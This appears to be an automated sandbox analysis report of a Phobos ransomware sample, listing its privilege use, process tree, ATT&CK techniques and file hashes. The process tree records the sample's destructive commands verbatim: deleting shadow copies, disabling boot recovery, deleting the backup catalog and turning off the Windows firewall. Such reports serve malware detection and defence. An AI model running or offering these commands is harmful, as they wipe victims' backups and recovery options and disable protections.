2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe Token: SeBackupPrivilege 1848 vssvc.exe Token: SeRestorePrivilege 1848 vssvc.exe Token: SeAuditPrivilege 1848 vssvc.exe Token: SeIncreaseQuotaPrivilege 376 WMIC.exe Token: SeSecurityPrivilege 376 WMIC.exe Token: SeTakeOwnershipPrivilege 376 WMIC.exe Token: SeLoadDriverPrivilege 376 WMIC.exe Token: SeSystemProfilePrivilege 376 WMIC.exe Token: SeSystemtimePrivilege 376 WMIC.exe Token: SeProfSingleProcessPrivilege 376 WMIC.exe Token: SeIncBasePriorityPrivilege 376 WMIC.exe Token: SeCreatePagefilePrivilege 376 WMIC.exe Token: SeBackupPrivilege 376 WMIC.exe Token: SeRestorePrivilege 376 WMIC.exe Token: SeShutdownPrivilege 376 WMIC.exe Token: SeDebugPrivilege 376 WMIC.exe Token: SeSystemEnvironmentPrivilege 376 WMIC.exe Token: SeRemoteShutdownPrivilege 376 WMIC.exe Token: SeUndockPrivilege 376 WMIC.exe Token: SeManageVolumePrivilege 376 WMIC.exe Token: 33 376 WMIC.exe Token: 34 376 WMIC.exe Token: 35 376 WMIC.exe Token: SeIncreaseQuotaPrivilege 376 WMIC.exe Token: SeSecurityPrivilege 376 WMIC.exe Token: SeTakeOwnershipPrivilege 376 WMIC.exe Token: SeLoadDriverPrivilege 376 WMIC.exe Token: SeSystemProfilePrivilege 376 WMIC.exe Token: SeSystemtimePrivilege 376 WMIC.exe Token: SeProfSingleProcessPrivilege 376 WMIC.exe Token: SeIncBasePriorityPrivilege 376 WMIC.exe Token: SeCreatePagefilePrivilege 376 WMIC.exe Token: SeBackupPrivilege 376 WMIC.exe Token: SeRestorePrivilege 376 WMIC.exe Token: SeShutdownPrivilege 376 WMIC.exe Token: SeDebugPrivilege 376 WMIC.exe Token: SeSystemEnvironmentPrivilege 376 WMIC.exe Token: SeRemoteShutdownPrivilege 376 WMIC.exe Token: SeUndockPrivilege 376 WMIC.exe Token: SeManageVolumePrivilege 376 WMIC.exe Token: 33 376 WMIC.exe Token: 34 376 WMIC.exe Token: 35 376 WMIC.exe Token: SeIncreaseQuotaPrivilege 796 WMIC.exe Token: SeSecurityPrivilege 796 WMIC.exe Token: SeTakeOwnershipPrivilege 796 WMIC.exe Token: SeLoadDriverPrivilege 796 WMIC.exe Token: SeSystemProfilePrivilege 796 WMIC.exe Token: SeSystemtimePrivilege 796 WMIC.exe Token: SeProfSingleProcessPrivilege 796 WMIC.exe Token: SeIncBasePriorityPrivilege 796 WMIC.exe Token: SeCreatePagefilePrivilege 796 WMIC.exe Token: SeBackupPrivilege 796 WMIC.exe Token: SeRestorePrivilege 796 WMIC.exe Token: SeShutdownPrivilege 796 WMIC.exe Token: SeDebugPrivilege 796 WMIC.exe Token: SeSystemEnvironmentPrivilege 796 WMIC.exe Token: SeRemoteShutdownPrivilege 796 WMIC.exe Token: SeUndockPrivilege 796 WMIC.exe Token: SeManageVolumePrivilege 796 WMIC.exe Token: 33 796 WMIC.exe Token: 34 796 WMIC.exe Token: 35 796 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1560 wrote to memory of 2748 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 29 PID 1560 wrote to memory of 2748 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 29 PID 1560 wrote to memory of 2748 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 29 PID 1560 wrote to memory of 2748 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 29 PID 1560 wrote to memory of 3032 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 30 PID 1560 wrote to memory of 3032 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 30 PID 1560 wrote to memory of 3032 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 30 PID 1560 wrote to memory of 3032 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 30 PID 2748 wrote to memory of 2604 2748 cmd.exe 33 PID 2748 wrote to memory of 2604 2748 cmd.exe 33 PID 2748 wrote to memory of 2604 2748 cmd.exe 33 PID 3032 wrote to memory of 2772 3032 cmd.exe 34 PID 3032 wrote to memory of 2772 3032 cmd.exe 34 PID 3032 wrote to memory of 2772 3032 cmd.exe 34 PID 3032 wrote to memory of 2668 3032 cmd.exe 36 PID 3032 wrote to memory of 2668 3032 cmd.exe 36 PID 3032 wrote to memory of 2668 3032 cmd.exe 36 PID 2748 wrote to memory of 376 2748 cmd.exe 38 PID 2748 wrote to memory of 376 2748 cmd.exe 38 PID 2748 wrote to memory of 376 2748 cmd.exe 38 PID 2748 wrote to memory of 1136 2748 cmd.exe 40 PID 2748 wrote to memory of 1136 2748 cmd.exe 40 PID 2748 wrote to memory of 1136 2748 cmd.exe 40 PID 2748 wrote to memory of 1740 2748 cmd.exe 41 PID 2748 wrote to memory of 1740 2748 cmd.exe 41 PID 2748 wrote to memory of 1740 2748 cmd.exe 41 PID 2748 wrote to memory of 1088 2748 cmd.exe 42 PID 2748 wrote to memory of 1088 2748 cmd.exe 42 PID 2748 wrote to memory of 1088 2748 cmd.exe 42 PID 1560 wrote to memory of 1432 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 48 PID 1560 wrote to memory of 1432 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 48 PID 1560 wrote to memory of 1432 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 48 PID 1560 wrote to memory of 1432 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 48 PID 1560 wrote to memory of 1208 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 49 PID 1560 wrote to memory of 1208 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 49 PID 1560 wrote to memory of 1208 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 49 PID 1560 wrote to memory of 1208 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 49 PID 1560 wrote to memory of 1284 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 50 PID 1560 wrote to memory of 1284 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 50 PID 1560 wrote to memory of 1284 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 50 PID 1560 wrote to memory of 1284 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 50 PID 1560 wrote to memory of 2260 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 51 PID 1560 wrote to memory of 2260 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 51 PID 1560 wrote to memory of 2260 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 51 PID 1560 wrote to memory of 2260 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 51 PID 1560 wrote to memory of 1852 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 52 PID 1560 wrote to memory of 1852 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 52 PID 1560 wrote to memory of 1852 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 52 PID 1560 wrote to memory of 1852 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 52 PID 1852 wrote to memory of 2748 1852 cmd.exe 54 PID 1852 wrote to memory of 2748 1852 cmd.exe 54 PID 1852 wrote to memory of 2748 1852 cmd.exe 54 PID 1852 wrote to memory of 796 1852 cmd.exe 55 PID 1852 wrote to memory of 796 1852 cmd.exe 55 PID 1852 wrote to memory of 796 1852 cmd.exe 55 PID 1852 wrote to memory of 2184 1852 cmd.exe 56 PID 1852 wrote to memory of 2184 1852 cmd.exe 56 PID 1852 wrote to memory of 2184 1852 cmd.exe 56 PID 1852 wrote to memory of 2736 1852 cmd.exe 57 PID 1852 wrote to memory of 2736 1852 cmd.exe 57 PID 1852 wrote to memory of 2736 1852 cmd.exe 57 PID 1852 wrote to memory of 2000 1852 cmd.exe 58 PID 1852 wrote to memory of 2000 1852 cmd.exe 58 PID 1852 wrote to memory of 2000 1852 cmd.exe 58 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Users\Admin\AppData\Local\Temp\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe"2⤵PID:2928
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2604
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:376
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:1136
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
PID:1740
-
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
PID:1088
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\system32\netsh.exenetsh advfirewall set currentprofile state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2772
-
-
C:\Windows\system32\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2668
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta"2⤵
- Modifies Internet Explorer settings
PID:1432
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta"2⤵
- Modifies Internet Explorer settings
PID:1208
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\info.hta"2⤵
- Modifies Internet Explorer settings
PID:1284
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "F:\info.hta"2⤵
- Modifies Internet Explorer settings
PID:2260
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2748
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:796
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:2184
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
PID:2736
-
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
PID:2000
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵PID:1644
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1728
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:3060
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
MD5a001a27f3ef5525c83ee02e62c34a34a
SHA1decd8d25cd0cfa1ec65a47e0acf0c1526d49053e
SHA2565ae2236f6a42ee5b0b47d9e21ab54110f778252ee7c91f75930ac8629660b048
SHA512038fd77cd25bba3a704580e093c94113a74030696186ba36a876536c36a4c1d4e83a1796a834e25d597ae2d47db31605183f9d1bfddeff63e8a6f645e858fc71